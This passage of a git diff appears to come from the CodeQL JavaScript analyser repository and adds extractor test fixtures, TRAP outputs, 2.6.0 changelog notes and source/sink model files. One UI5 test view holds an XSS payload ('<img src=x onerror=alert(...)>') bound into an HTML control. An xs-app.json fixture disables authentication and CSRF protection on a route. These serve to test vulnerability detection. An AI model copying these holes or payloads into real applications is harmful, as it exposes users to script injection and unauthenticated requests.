+#20043=@"loc,{#10000},2,28,2,30"
+locations_default(#20043,#10000,2,28,2,30)
+hasLocation(#20042,#20043)
+#20044=*
+tokeninfo(#20044,8,#20001,15,")")
+#20045=@"loc,{#10000},2,31,2,31"
+locations_default(#20045,#10000,2,31,2,31)
+hasLocation(#20044,#20045)
+#20046=*
+tokeninfo(#20046,8,#20001,16,".")
+#20047=@"loc,{#10000},2,32,2,32"
+locations_default(#20047,#10000,2,32,2,32)
+hasLocation(#20046,#20047)
+#20048=*
+tokeninfo(#20048,6,#20001,17,"bar")
+#20049=@"loc,{#10000},2,33,2,35"
+locations_default(#20049,#10000,2,33,2,35)
+hasLocation(#20048,#20049)
+#20050=*
+tokeninfo(#20050,8,#20001,18,"{")
+#20051=@"loc,{#10000},2,37,2,37"
+locations_default(#20051,#10000,2,37,2,37)
+hasLocation(#20050,#20051)
+#20052=*
+tokeninfo(#20052,8,#20001,19,"}")
+#20053=@"loc,{#10000},2,38,2,38"
+locations_default(#20053,#10000,2,38,2,38)
+hasLocation(#20052,#20053)
+#20054=*
+tokeninfo(#20054,7,#20001,20,"interface")
+#20055=@"loc,{#10000},3,1,3,9"
+locations_default(#20055,#10000,3,1,3,9)
+hasLocation(#20054,#20055)
+#20056=*
+tokeninfo(#20056,6,#20001,21,"Invalid")
+#20057=@"loc,{#10000},3,11,3,17"
+locations_default(#20057,#10000,3,11,3,17)
+hasLocation(#20056,#20057)
+#20058=*
+tokeninfo(#20058,7,#20001,22,"extends")
+#20059=@"loc,{#10000},3,19,3,25"
+locations_default(#20059,#10000,3,19,3,25)
+hasLocation(#20058,#20059)
+#20060=*
+tokeninfo(#20060,6,#20001,23,"foo")
+#20061=@"loc,{#10000},3,27,3,29"
+locations_default(#20061,#10000,3,27,3,29)
+hasLocation(#20060,#20061)
+#20062=*
+tokeninfo(#20062,8,#20001,24,"[")
+#20063=@"loc,{#10000},3,30,3,30"
+locations_default(#20063,#10000,3,30,3,30)
+hasLocation(#20062,#20063)
+#20064=*
+tokeninfo(#20064,6,#20001,25,"bar")
+#20065=@"loc,{#10000},3,31,3,33"
+locations_default(#20065,#10000,3,31,3,33)
+hasLocation(#20064,#20065)
+#20066=*
+tokeninfo(#20066,8,#20001,26,"]")
+#20067=@"loc,{#10000},3,34,3,34"
+locations_default(#20067,#10000,3,34,3,34)
+hasLocation(#20066,#20067)
+#20068=*
+tokeninfo(#20068,8,#20001,27,"{")
+#20069=@"loc,{#10000},3,36,3,36"
+locations_default(#20069,#10000,3,36,3,36)
+hasLocation(#20068,#20069)
+#20070=*
+tokeninfo(#20070,8,#20001,28,"}")
+#20071=@"loc,{#10000},3,37,3,37"
+locations_default(#20071,#10000,3,37,3,37)
+hasLocation(#20070,#20071)
+#20072=*
+tokeninfo(#20072,7,#20001,29,"interface")
+#20073=@"loc,{#10000},4,1,4,9"
+locations_default(#20073,#10000,4,1,4,9)
+hasLocation(#20072,#20073)
+#20074=*
+tokeninfo(#20074,6,#20001,30,"Invalid")
+#20075=@"loc,{#10000},4,11,4,17"
+locations_default(#20075,#10000,4,11,4,17)
+hasLocation(#20074,#20075)
+#20076=*
+tokeninfo(#20076,7,#20001,31,"extends")
+#20077=@"loc,{#10000},4,19,4,25"
+locations_default(#20077,#10000,4,19,4,25)
+hasLocation(#20076,#20077)
+#20078=*
+tokeninfo(#20078,6,#20001,32,"foo")
+#20079=@"loc,{#10000},4,27,4,29"
+locations_default(#20079,#10000,4,27,4,29)
+hasLocation(#20078,#20079)
+#20080=*
+tokeninfo(#20080,8,#20001,33,"?.")
+#20081=@"loc,{#10000},4,30,4,31"
+locations_default(#20081,#10000,4,30,4,31)
+hasLocation(#20080,#20081)
+#20082=*
+tokeninfo(#20082,6,#20001,34,"bar")
+#20083=@"loc,{#10000},4,32,4,34"
+locations_default(#20083,#10000,4,32,4,34)
+hasLocation(#20082,#20083)
+#20084=*
+tokeninfo(#20084,8,#20001,35,"{")
+#20085=@"loc,{#10000},4,36,4,36"
+locations_default(#20085,#10000,4,36,4,36)
+hasLocation(#20084,#20085)
+#20086=*
+tokeninfo(#20086,8,#20001,36,"}")
+#20087=@"loc,{#10000},4,37,4,37"
+locations_default(#20087,#10000,4,37,4,37)
+hasLocation(#20086,#20087)
+#20088=*
+tokeninfo(#20088,7,#20001,37,"interface")
+#20089=@"loc,{#10000},5,1,5,9"
+locations_default(#20089,#10000,5,1,5,9)
+hasLocation(#20088,#20089)
+#20090=*
+tokeninfo(#20090,6,#20001,38,"Invalid")
+#20091=@"loc,{#10000},5,11,5,17"
+locations_default(#20091,#10000,5,11,5,17)
+hasLocation(#20090,#20091)
+#20092=*
+tokeninfo(#20092,7,#20001,39,"extends")
+#20093=@"loc,{#10000},5,19,5,25"
+locations_default(#20093,#10000,5,19,5,25)
+hasLocation(#20092,#20093)
+#20094=*
+tokeninfo(#20094,6,#20001,40,"foo")
+#20095=@"loc,{#10000},5,27,5,29"
+locations_default(#20095,#10000,5,27,5,29)
+hasLocation(#20094,#20095)
+#20096=*
+tokeninfo(#20096,8,#20001,41,"!")
+#20097=@"loc,{#10000},5,30,5,30"
+locations_default(#20097,#10000,5,30,5,30)
+hasLocation(#20096,#20097)
+#20098=*
+tokeninfo(#20098,8,#20001,42,".")
+#20099=@"loc,{#10000},5,31,5,31"
+locations_default(#20099,#10000,5,31,5,31)
+hasLocation(#20098,#20099)
+#20100=*
+tokeninfo(#20100,6,#20001,43,"bar")
+#20101=@"loc,{#10000},5,32,5,34"
+locations_default(#20101,#10000,5,32,5,34)
+hasLocation(#20100,#20101)
+#20102=*
+tokeninfo(#20102,8,#20001,44,"{")
+#20103=@"loc,{#10000},5,36,5,36"
+locations_default(#20103,#10000,5,36,5,36)
+hasLocation(#20102,#20103)
+#20104=*
+tokeninfo(#20104,8,#20001,45,"}")
+#20105=@"loc,{#10000},5,37,5,37"
+locations_default(#20105,#10000,5,37,5,37)
+hasLocation(#20104,#20105)
+#20106=*
+tokeninfo(#20106,7,#20001,46,"interface")
+#20107=@"loc,{#10000},6,1,6,9"
+locations_default(#20107,#10000,6,1,6,9)
+hasLocation(#20106,#20107)
+#20108=*
+tokeninfo(#20108,6,#20001,47,"Invalid")
+#20109=@"loc,{#10000},6,11,6,17"
+locations_default(#20109,#10000,6,11,6,17)
+hasLocation(#20108,#20109)
+#20110=*
+tokeninfo(#20110,7,#20001,48,"extends")
+#20111=@"loc,{#10000},6,19,6,25"
+locations_default(#20111,#10000,6,19,6,25)
+hasLocation(#20110,#20111)
+#20112=*
+tokeninfo(#20112,6,#20001,49,"foo")
+#20113=@"loc,{#10000},6,27,6,29"
+locations_default(#20113,#10000,6,27,6,29)
+hasLocation(#20112,#20113)
+#20114=*
+tokeninfo(#20114,8,#20001,50,"(")
+#20115=@"loc,{#10000},6,30,6,30"
+locations_default(#20115,#10000,6,30,6,30)
+hasLocation(#20114,#20115)
+#20116=*
+tokeninfo(#20116,8,#20001,51,")")
+#20117=@"loc,{#10000},6,31,6,31"
+locations_default(#20117,#10000,6,31,6,31)
+hasLocation(#20116,#20117)
+#20118=*
+tokeninfo(#20118,8,#20001,52,"{")
+#20119=@"loc,{#10000},6,33,6,33"
+locations_default(#20119,#10000,6,33,6,33)
+hasLocation(#20118,#20119)
+#20120=*
+tokeninfo(#20120,8,#20001,53,"}")
+#20121=@"loc,{#10000},6,34,6,34"
+locations_default(#20121,#10000,6,34,6,34)
+hasLocation(#20120,#20121)
+#20122=*
+tokeninfo(#20122,0,#20001,54,"")
+#20123=@"loc,{#10000},7,1,7,0"
+locations_default(#20123,#10000,7,1,7,0)
+hasLocation(#20122,#20123)
+toplevels(#20001,0)
+#20124=@"loc,{#10000},1,1,7,0"
+locations_default(#20124,#10000,1,1,7,0)
+hasLocation(#20001,#20124)
+#20125=@"local_type_name;{Invalid};{#20000}"
+local_type_names(#20125,"Invalid",#20000)
+#20126=*
+stmts(#20126,34,#20001,0,"interfa ... bar) {}")
+hasLocation(#20126,#20003)
+stmt_containers(#20126,#20001)
+#20127=*
+typeexprs(#20127,1,#20126,0,"Invalid")
+hasLocation(#20127,#20017)
+enclosing_stmt(#20127,#20126)
+expr_containers(#20127,#20001)
+literals("Invalid","Invalid",#20127)
+typedecl(#20127,#20125)
+#20128=*
+stmts(#20128,34,#20001,1,"interfa ... .bar {}")
+hasLocation(#20128,#20005)
+stmt_containers(#20128,#20001)
+#20129=*
+typeexprs(#20129,1,#20128,0,"Invalid")
+hasLocation(#20129,#20037)
+enclosing_stmt(#20129,#20128)
+expr_containers(#20129,#20001)
+literals("Invalid","Invalid",#20129)
+typedecl(#20129,#20125)
+#20130=*
+stmts(#20130,34,#20001,2,"interfa ... bar] {}")
+hasLocation(#20130,#20007)
+stmt_containers(#20130,#20001)
+#20131=*
+typeexprs(#20131,13,#20130,-1,"foo[bar]")
+#20132=@"loc,{#10000},3,27,3,34"
+locations_default(#20132,#10000,3,27,3,34)
+hasLocation(#20131,#20132)
+enclosing_stmt(#20131,#20130)
+expr_containers(#20131,#20001)
+#20133=*
+typeexprs(#20133,25,#20131,0,"foo")
+hasLocation(#20133,#20061)
+enclosing_stmt(#20133,#20130)
+expr_containers(#20133,#20001)
+literals("foo","foo",#20133)
+#20134=*
+typeexprs(#20134,15,#20131,1,"bar")
+hasLocation(#20134,#20065)
+enclosing_stmt(#20134,#20130)
+expr_containers(#20134,#20001)
+literals("bar","bar",#20134)
+#20135=*
+typeexprs(#20135,1,#20130,0,"Invalid")
+hasLocation(#20135,#20057)
+enclosing_stmt(#20135,#20130)
+expr_containers(#20135,#20001)
+literals("Invalid","Invalid",#20135)
+typedecl(#20135,#20125)
+#20136=*
+stmts(#20136,34,#20001,3,"interfa ... .bar {}")
+hasLocation(#20136,#20009)
+stmt_containers(#20136,#20001)
+#20137=*
+typeexprs(#20137,13,#20136,-1,"foo?.bar")
+#20138=@"loc,{#10000},4,27,4,34"
+locations_default(#20138,#10000,4,27,4,34)
+hasLocation(#20137,#20138)
+enclosing_stmt(#20137,#20136)
+expr_containers(#20137,#20001)
+#20139=*
+typeexprs(#20139,25,#20137,0,"foo")
+hasLocation(#20139,#20079)
+enclosing_stmt(#20139,#20136)
+expr_containers(#20139,#20001)
+literals("foo","foo",#20139)
+#20140=*
+typeexprs(#20140,15,#20137,1,"bar")
+hasLocation(#20140,#20083)
+enclosing_stmt(#20140,#20136)
+expr_containers(#20140,#20001)
+literals("bar","bar",#20140)
+isOptionalChaining(#20137)
+#20141=*
+typeexprs(#20141,1,#20136,0,"Invalid")
+hasLocation(#20141,#20075)
+enclosing_stmt(#20141,#20136)
+expr_containers(#20141,#20001)
+literals("Invalid","Invalid",#20141)
+typedecl(#20141,#20125)
+#20142=*
+stmts(#20142,34,#20001,4,"interfa ... .bar {}")
+hasLocation(#20142,#20011)
+stmt_containers(#20142,#20001)
+#20143=*
+typeexprs(#20143,1,#20142,0,"Invalid")
+hasLocation(#20143,#20091)
+enclosing_stmt(#20143,#20142)
+expr_containers(#20143,#20001)
+literals("Invalid","Invalid",#20143)
+typedecl(#20143,#20125)
+#20144=*
+stmts(#20144,34,#20001,5,"interfa ... oo() {}")
+hasLocation(#20144,#20013)
+stmt_containers(#20144,#20001)
+#20145=*
+typeexprs(#20145,1,#20144,0,"Invalid")
+hasLocation(#20145,#20109)
+enclosing_stmt(#20145,#20144)
+expr_containers(#20145,#20001)
+literals("Invalid","Invalid",#20145)
+typedecl(#20145,#20125)
+#20146=*
+entry_cfg_node(#20146,#20001)
+#20147=@"loc,{#10000},1,1,1,0"
+locations_default(#20147,#10000,1,1,1,0)
+hasLocation(#20146,#20147)
+#20148=*
+exit_cfg_node(#20148,#20001)
+hasLocation(#20148,#20123)
+successor(#20144,#20148)
+successor(#20142,#20144)
+successor(#20136,#20142)
+successor(#20130,#20136)
+successor(#20128,#20130)
+successor(#20126,#20128)
+successor(#20146,#20126)
+numlines(#10000,6,6,0)
+filetype(#10000,"typescript")
diff --git a/javascript/extractor/tests/ui5/input/test.view.json b/javascript/extractor/tests/ui5/input/test.view.json
new file mode 100644
index 000000000000..32f686ec3b25
--- /dev/null
+++ b/javascript/extractor/tests/ui5/input/test.view.json
@@ -0,0 +1,16 @@
+{
+    "Type": "sap.ui.core.mvc.JSONView",
+    "controllerName": "codeql-sap-js.controller.app",
+    "content": [
+        {
+            "Type": "sap.m.Input",
+            "placeholder": "Enter Payload",
+            "description": "Try: <img src=x onerror=alert(\"XSS\")>",
+            "value": "{/input}"
+        },
+        {
+            "Type": "sap.ui.core.HTML",
+            "content": "{/input}"
+        }
+    ]
+}
\ No newline at end of file
diff --git a/javascript/extractor/tests/ui5/output/trap/test.view.json.trap b/javascript/extractor/tests/ui5/output/trap/test.view.json.trap
new file mode 100644
index 000000000000..064acca52321
--- /dev/null
+++ b/javascript/extractor/tests/ui5/output/trap/test.view.json.trap
@@ -0,0 +1,87 @@
+#10000=@"/test.view.json;sourcefile"
+files(#10000,"/test.view.json")
+#10001=@"/;folder"
+folders(#10001,"/")
+containerparent(#10001,#10000)
+#10002=@"loc,{#10000},0,0,0,0"
+locations_default(#10002,#10000,0,0,0,0)
+hasLocation(#10000,#10002)
+#20000=*
+json(#20000,5,#10000,0,"{\n    "" ...     ]\n}")
+#20001=@"loc,{#10000},1,1,16,1"
+locations_default(#20001,#10000,1,1,16,1)
+json_locations(#20000,#20001)
+#20002=*
+json(#20002,3,#20000,0,"""sap.ui ... ONView""")
+#20003=@"loc,{#10000},2,13,2,38"
+locations_default(#20003,#10000,2,13,2,38)
+json_locations(#20002,#20003)
+json_literals("sap.ui.core.mvc.JSONView","""sap.ui.core.mvc.JSONView""",#20002)
+json_properties(#20000,"Type",#20002)
+#20004=*
+json(#20004,3,#20000,1,"""codeql ... er.app""")
+#20005=@"loc,{#10000},3,23,3,52"
+locations_default(#20005,#10000,3,23,3,52)
+json_locations(#20004,#20005)
+json_literals("codeql-sap-js.controller.app","""codeql-sap-js.controller.app""",#20004)
+json_properties(#20000,"controllerName",#20004)
+#20006=*
+json(#20006,4,#20000,2,"[\n      ... }\n    ]")
+#20007=@"loc,{#10000},4,16,15,5"
+locations_default(#20007,#10000,4,16,15,5)
+json_locations(#20006,#20007)
+#20008=*
+json(#20008,5,#20006,0,"{\n      ...       }")
+#20009=@"loc,{#10000},5,9,10,9"
+locations_default(#20009,#10000,5,9,10,9)
+json_locations(#20008,#20009)
+#20010=*
+json(#20010,3,#20008,0,"""sap.m.Input""")
+#20011=@"loc,{#10000},6,21,6,33"
+locations_default(#20011,#10000,6,21,6,33)
+json_locations(#20010,#20011)
+json_literals("sap.m.Input","""sap.m.Input""",#20010)
+json_properties(#20008,"Type",#20010)
+#20012=*
+json(#20012,3,#20008,1,"""Enter Payload""")
+#20013=@"loc,{#10000},7,28,7,42"
+locations_default(#20013,#10000,7,28,7,42)
+json_locations(#20012,#20013)
+json_literals("Enter Payload","""Enter Payload""",#20012)
+json_properties(#20008,"placeholder",#20012)
+#20014=*
+json(#20014,3,#20008,2,"""Try: < ... SS\"")>""")
+#20015=@"loc,{#10000},8,28,8,68"
+locations_default(#20015,#10000,8,28,8,68)
+json_locations(#20014,#20015)
+json_literals("Try: <img src=x onerror=alert(""XSS"")>","""Try: <img src=x onerror=alert(\""XSS\"")>""",#20014)
+json_properties(#20008,"description",#20014)
+#20016=*
+json(#20016,3,#20008,3,"""{/input}""")
+#20017=@"loc,{#10000},9,22,9,31"
+locations_default(#20017,#10000,9,22,9,31)
+json_locations(#20016,#20017)
+json_literals("{/input}","""{/input}""",#20016)
+json_properties(#20008,"value",#20016)
+#20018=*
+json(#20018,5,#20006,1,"{\n      ...       }")
+#20019=@"loc,{#10000},11,9,14,9"
+locations_default(#20019,#10000,11,9,14,9)
+json_locations(#20018,#20019)
+#20020=*
+json(#20020,3,#20018,0,"""sap.ui.core.HTML""")
+#20021=@"loc,{#10000},12,21,12,38"
+locations_default(#20021,#10000,12,21,12,38)
+json_locations(#20020,#20021)
+json_literals("sap.ui.core.HTML","""sap.ui.core.HTML""",#20020)
+json_properties(#20018,"Type",#20020)
+#20022=*
+json(#20022,3,#20018,1,"""{/input}""")
+#20023=@"loc,{#10000},13,24,13,33"
+locations_default(#20023,#10000,13,24,13,33)
+json_locations(#20022,#20023)
+json_literals("{/input}","""{/input}""",#20022)
+json_properties(#20018,"content",#20022)
+json_properties(#20000,"content",#20006)
+numlines(#10000,16,0,0)
+filetype(#10000,"json")
diff --git a/javascript/extractor/tests/xsaccess/input/.xsaccess b/javascript/extractor/tests/xsjs/input/.xsaccess
similarity index 100%
rename from javascript/extractor/tests/xsaccess/input/.xsaccess
rename to javascript/extractor/tests/xsjs/input/.xsaccess
diff --git a/javascript/extractor/tests/xsjs/input/xs-app.json b/javascript/extractor/tests/xsjs/input/xs-app.json
new file mode 100644
index 000000000000..01890c1ddf1e
--- /dev/null
+++ b/javascript/extractor/tests/xsjs/input/xs-app.json
@@ -0,0 +1,12 @@
+{
+    "welcomeFile": "index.html",
+    "authenticationMethod": "none",
+    "routes": [
+        {
+            "source": "/bad/(.*)",
+            "destination": "srv_api",
+            "csrfProtection": false,
+            "authenticationType": "none"
+        }
+    ]
+}
\ No newline at end of file
diff --git a/javascript/extractor/tests/xsaccess/output/trap/.xsaccess.trap b/javascript/extractor/tests/xsjs/output/trap/.xsaccess.trap
similarity index 100%
rename from javascript/extractor/tests/xsaccess/output/trap/.xsaccess.trap
rename to javascript/extractor/tests/xsjs/output/trap/.xsaccess.trap
diff --git a/javascript/extractor/tests/xsjs/output/trap/xs-app.json.trap b/javascript/extractor/tests/xsjs/output/trap/xs-app.json.trap
new file mode 100644
index 000000000000..d9a35a42450d
--- /dev/null
+++ b/javascript/extractor/tests/xsjs/output/trap/xs-app.json.trap
@@ -0,0 +1,68 @@
+#10000=@"/xs-app.json;sourcefile"
+files(#10000,"/xs-app.json")
+#10001=@"/;folder"
+folders(#10001,"/")
+containerparent(#10001,#10000)
+#10002=@"loc,{#10000},0,0,0,0"
+locations_default(#10002,#10000,0,0,0,0)
+hasLocation(#10000,#10002)
+#20000=*
+json(#20000,5,#10000,0,"{\n    "" ...     ]\n}")
+#20001=@"loc,{#10000},1,1,12,1"
+locations_default(#20001,#10000,1,1,12,1)
+json_locations(#20000,#20001)
+#20002=*
+json(#20002,3,#20000,0,"""index.html""")
+#20003=@"loc,{#10000},2,20,2,31"
+locations_default(#20003,#10000,2,20,2,31)
+json_locations(#20002,#20003)
+json_literals("index.html","""index.html""",#20002)
+json_properties(#20000,"welcomeFile",#20002)
+#20004=*
+json(#20004,3,#20000,1,"""none""")
+#20005=@"loc,{#10000},3,29,3,34"
+locations_default(#20005,#10000,3,29,3,34)
+json_locations(#20004,#20005)
+json_literals("none","""none""",#20004)
+json_properties(#20000,"authenticationMethod",#20004)
+#20006=*
+json(#20006,4,#20000,2,"[\n      ... }\n    ]")
+#20007=@"loc,{#10000},4,15,11,5"
+locations_default(#20007,#10000,4,15,11,5)
+json_locations(#20006,#20007)
+#20008=*
+json(#20008,5,#20006,0,"{\n      ...       }")
+#20009=@"loc,{#10000},5,9,10,9"
+locations_default(#20009,#10000,5,9,10,9)
+json_locations(#20008,#20009)
+#20010=*
+json(#20010,3,#20008,0,"""/bad/(.*)""")
+#20011=@"loc,{#10000},6,23,6,33"
+locations_default(#20011,#10000,6,23,6,33)
+json_locations(#20010,#20011)
+json_literals("/bad/(.*)","""/bad/(.*)""",#20010)
+json_properties(#20008,"source",#20010)
+#20012=*
+json(#20012,3,#20008,1,"""srv_api""")
+#20013=@"loc,{#10000},7,28,7,36"
+locations_default(#20013,#10000,7,28,7,36)
+json_locations(#20012,#20013)
+json_literals("srv_api","""srv_api""",#20012)
+json_properties(#20008,"destination",#20012)
+#20014=*
+json(#20014,1,#20008,2,"false")
+#20015=@"loc,{#10000},8,31,8,35"
+locations_default(#20015,#10000,8,31,8,35)
+json_locations(#20014,#20015)
+json_literals("false","false",#20014)
+json_properties(#20008,"csrfProtection",#20014)
+#20016=*
+json(#20016,3,#20008,3,"""none""")
+#20017=@"loc,{#10000},9,35,9,40"
+locations_default(#20017,#10000,9,35,9,40)
+json_locations(#20016,#20017)
+json_literals("none","""none""",#20016)
+json_properties(#20008,"authenticationType",#20016)
+json_properties(#20000,"routes",#20006)
+numlines(#10000,12,0,0)
+filetype(#10000,"json")
diff --git a/javascript/ql/lib/CHANGELOG.md b/javascript/ql/lib/CHANGELOG.md
index a3bb2a7e5d4f..995666b29160 100644
--- a/javascript/ql/lib/CHANGELOG.md
+++ b/javascript/ql/lib/CHANGELOG.md
@@ -1,3 +1,35 @@
+## 2.6.0
+
+### New Features
+
+* Extraction now supports regular expressions with the `v` flag, using the new operators:
+  - Intersection `&&`
+  - Subtraction `--`
+  - `\q` quoted string 
+
+### Major Analysis Improvements
+
+* Added support for TypeScript 5.8.
+
+### Minor Analysis Improvements
+
+* Added support for additional `fs-extra` methods as sinks in path-injection queries.
+* Added support for the newer version of `Hapi` with the `@hapi/hapi` import and `server` function.
+* Improved modeling of the `node:fs` module: `await`-ed calls to `read` and `readFile` are now supported.
+* Added support for the `@sap/hana-client`, `@sap/hdbext` and `hdb` packages.
+* Enhanced `axios` support with new methods (`postForm`, `putForm`, `patchForm`, `getUri`, `create`) and added support for `interceptors.request` and `interceptors.response`.
+* Improved support for `got` package with `Options`, `paginate()` and `extend()`
+* Added support for the `ApolloServer` class from `@apollo/server` and similar packages. In particular, the incoming data in a GraphQL resolver is now seen as a source of untrusted user input.
+* Improved support for `superagent` to handle the case where the package is directly called as a function, or via the `.del()` or `.agent()` method.
+* Added support for the `underscore.string` package.
+* Added additional flow step for `unescape()` and `escape()`.
+* Added support for the `@tanstack/vue-query` package.
+* Added taint-steps for `unescape()`.
+* Added support for the `@tanstack/angular-query-experimental` package.
+* Improved support for the `@angular/common/http` package, detecting outgoing HTTP requests in more cases.
+* Improved the modeling of the `markdown-table` package to ensure it handles nested arrays properly.
+* Added support for the `react-relay` library.
+
 ## 2.5.1
 
 No user-facing changes.
diff --git a/javascript/ql/lib/change-notes/released/2.6.0.md b/javascript/ql/lib/change-notes/released/2.6.0.md
new file mode 100644
index 000000000000..037621be6add
--- /dev/null
+++ b/javascript/ql/lib/change-notes/released/2.6.0.md
@@ -0,0 +1,31 @@
+## 2.6.0
+
+### New Features
+
+* Extraction now supports regular expressions with the `v` flag, using the new operators:
+  - Intersection `&&`
+  - Subtraction `--`
+  - `\q` quoted string 
+
+### Major Analysis Improvements
+
+* Added support for TypeScript 5.8.
+
+### Minor Analysis Improvements
+
+* Added support for additional `fs-extra` methods as sinks in path-injection queries.
+* Added support for the newer version of `Hapi` with the `@hapi/hapi` import and `server` function.
+* Improved modeling of the `node:fs` module: `await`-ed calls to `read` and `readFile` are now supported.
+* Added support for the `@sap/hana-client`, `@sap/hdbext` and `hdb` packages.
+* Enhanced `axios` support with new methods (`postForm`, `putForm`, `patchForm`, `getUri`, `create`) and added support for `interceptors.request` and `interceptors.response`.
+* Improved support for `got` package with `Options`, `paginate()` and `extend()`
+* Added support for the `ApolloServer` class from `@apollo/server` and similar packages. In particular, the incoming data in a GraphQL resolver is now seen as a source of untrusted user input.
+* Improved support for `superagent` to handle the case where the package is directly called as a function, or via the `.del()` or `.agent()` method.
+* Added support for the `underscore.string` package.
+* Added additional flow step for `unescape()` and `escape()`.
+* Added support for the `@tanstack/vue-query` package.
+* Added taint-steps for `unescape()`.
+* Added support for the `@tanstack/angular-query-experimental` package.
+* Improved support for the `@angular/common/http` package, detecting outgoing HTTP requests in more cases.
+* Improved the modeling of the `markdown-table` package to ensure it handles nested arrays properly.
+* Added support for the `react-relay` library.
diff --git a/javascript/ql/lib/codeql-pack.release.yml b/javascript/ql/lib/codeql-pack.release.yml
index a041decfd2dd..29308d702323 100644
--- a/javascript/ql/lib/codeql-pack.release.yml
+++ b/javascript/ql/lib/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 2.5.1
+lastReleaseVersion: 2.6.0
diff --git a/javascript/ql/lib/ext/apollo-server.model.yml b/javascript/ql/lib/ext/apollo-server.model.yml
new file mode 100644
index 000000000000..ffceb6a6d5af
--- /dev/null
+++ b/javascript/ql/lib/ext/apollo-server.model.yml
@@ -0,0 +1,15 @@
+extensions:
+  - addsTo:
+      pack: codeql/javascript-all
+      extensible: sourceModel
+    data:
+      - ["@apollo/server", "Member[ApolloServer,ApolloServerBase].Argument[0].AnyMember.AnyMember.AnyMember.Parameter[1]", "remote"]
+
+  - addsTo:
+      pack: codeql/javascript-all
+      extensible: typeModel
+    data:
+      - ["@apollo/server", "@apollo/server/standalone", ""]
+      - ["@apollo/server", "apollo-server-express", ""]
+      - ["@apollo/server", "apollo-server-core", ""]
+      - ["@apollo/server", "apollo-server", ""]
diff --git a/javascript/ql/lib/ext/axios.model.yml b/javascript/ql/lib/ext/axios.model.yml
new file mode 100644
index 000000000000..69740c31e299
--- /dev/null
+++ b/javascript/ql/lib/ext/axios.model.yml
@@ -0,0 +1,12 @@
+extensions:
+  - addsTo:
+      pack: codeql/javascript-all
+      extensible: sinkModel
+    data:
+      - ["axios", "Member[interceptors].Member[request].Member[use].Argument[0].Parameter[0].Member[url]", "request-forgery"]
+
+  - addsTo:
+      pack: codeql/javascript-all
+      extensible: sourceModel
+    data:
+      - ["axios", "Member[interceptors].Member[response].Member[use].Argument[0].Parameter[0]", "response"]
diff --git a/javascript/ql/lib/ext/hana-db-client.model.yml b/javascript/ql/lib/ext/hana-db-client.model.yml
new file mode 100644
index 000000000000..1a6b1e8425a6
--- /dev/null
+++ b/javascript/ql/lib/ext/hana-db-client.model.yml
@@ -0,0 +1,27 @@
+extensions:
+  - addsTo:
+      pack: codeql/javascript-all
+      extensible: sinkModel
+    data:
+      - ["@sap/hana-client", "Member[createConnection].ReturnValue.Member[exec,prepare].Argument[0]", "sql-injection"]
+      - ["hdb.Client", "Member[exec,prepare,execute].Argument[0]", "sql-injection"]
+      - ["@sap/hdbext", "Member[loadProcedure].Argument[2]", "sql-injection"]
+      - ["@sap/hana-client/extension/Stream", "Member[createProcStatement].Argument[1]", "sql-injection"]
+
+  - addsTo:
+      pack: codeql/javascript-all
+      extensible: typeModel
+    data:
+      - ["hdb.Client", "hdb", "Member[createClient].ReturnValue"]
+      - ["hdb.Client", "@sap/hdbext", "Member[middleware].ReturnValue.GuardedRouteHandler.Parameter[0].Member[db]"]
+      
+  - addsTo:
+      pack: codeql/javascript-all
+      extensible: sourceModel
+    data:
+      - ['@sap/hana-client', 'Member[createConnection].ReturnValue.Member[exec].Argument[1].Parameter[1]', 'database-access-result']
+      - ['@sap/hana-client', 'Member[createConnection].ReturnValue.Member[prepare].ReturnValue.Member[execBatch,exec,execQuery].Argument[1].Parameter[1]', 'database-access-result']
+      - ['hdb.Client', 'Member[exec,execute].Argument[1..2].Parameter[1]', 'database-access-result']
+      - ['hdb.Client', 'Member[prepare].Argument[1].Parameter[1].Member[exec].Argument[1].Parameter[2..]', 'database-access-result']
+      - ["@sap/hana-client/extension/Stream", "Member[createProcStatement].Argument[2].Parameter[1].Member[exec].Argument[1].Parameter[2..]", "database-access-result"]
+      - ['@sap/hdbext', 'Member[loadProcedure].Argument[3].Parameter[1].Argument[2].Parameter[2..]', 'database-access-result']
diff --git a/javascript/ql/lib/ext/markdown-table.model.yml b/javascript/ql/lib/ext/markdown-table.model.yml
new file mode 100644
index 000000000000..4dcf36164c99
--- /dev/null
+++ b/javascript/ql/lib/ext/markdown-table.model.yml
@@ -0,0 +1,6 @@
+extensions:
+  - addsTo:
+      pack: codeql/javascript-all
+      extensible: summaryModel
+    data:
+      - ["markdown-table", "", "Argument[0].ArrayElement.ArrayElement", "ReturnValue", "taint"]
diff --git a/javascript/ql/lib/ext/react-relay-threat.model.yml b/javascript/ql/lib/ext/react-relay-threat.model.yml
new file mode 100644
index 000000000000..47b1d086533e
--- /dev/null
+++ b/javascript/ql/lib/ext/react-relay-threat.model.yml
@@ -0,0 +1,15 @@
+extensions:
+  - addsTo:
+      pack: codeql/javascript-all
+      extensible: sourceModel
+    data:
+      - ["react-relay", "Member[useFragment].ReturnValue", "response"]
+      - ["react-relay", "Member[useLazyLoadQuery].ReturnValue", "response"]
+      - ["react-relay", "Member[usePreloadedQuery].ReturnValue", "response"]
+      - ["react-relay", "Member[useClientQuery].ReturnValue", "response"]
+      - ["react-relay", "Member[useRefetchableFragment].ReturnValue.Member[0]", "response"]
+      - ["react-relay", "Member[usePaginationFragment].ReturnValue.Member[data]", "response"]
+      - ["react-relay", "Member[useMutation].ReturnValue.Member[0].Argument[0].Member[onCompleted].Parameter[0]", "response"]
+      - ["react-relay", "Member[useSubscription].Argument[0].Member[onNext].Parameter[0]", "response"]
+      - ["react-relay", "Member[fetchQuery].ReturnValue.Member[subscribe].Argument[0].Member[next].Parameter[0]", "response"]
+      - ["relay-runtime", "Member[readFragment].ReturnValue", "response"]
diff --git a/javascript/ql/lib/ext/tanstack.model.yml b/javascript/ql/lib/ext/tanstack.model.yml
new file mode 100644
index 000000000000..2c07fcf9727c
--- /dev/null
+++ b/javascript/ql/lib/ext/tanstack.model.yml
@@ -0,0 +1,11 @@
+extensions:
+  - addsTo:
+      pack: codeql/javascript-all
+      extensible: summaryModel
+    data:
+      - ["@tanstack/angular-query-experimental", "Member[injectQuery]", "Argument[0].ReturnValue.Member[queryFn].ReturnValue", "ReturnValue.Member[data].Awaited", "value"]
+      - ["@tanstack/angular-query", "Member[injectQuery]", "Argument[0].ReturnValue.Member[queryFn].ReturnValue", "ReturnValue.Member[data].Awaited", "value"]
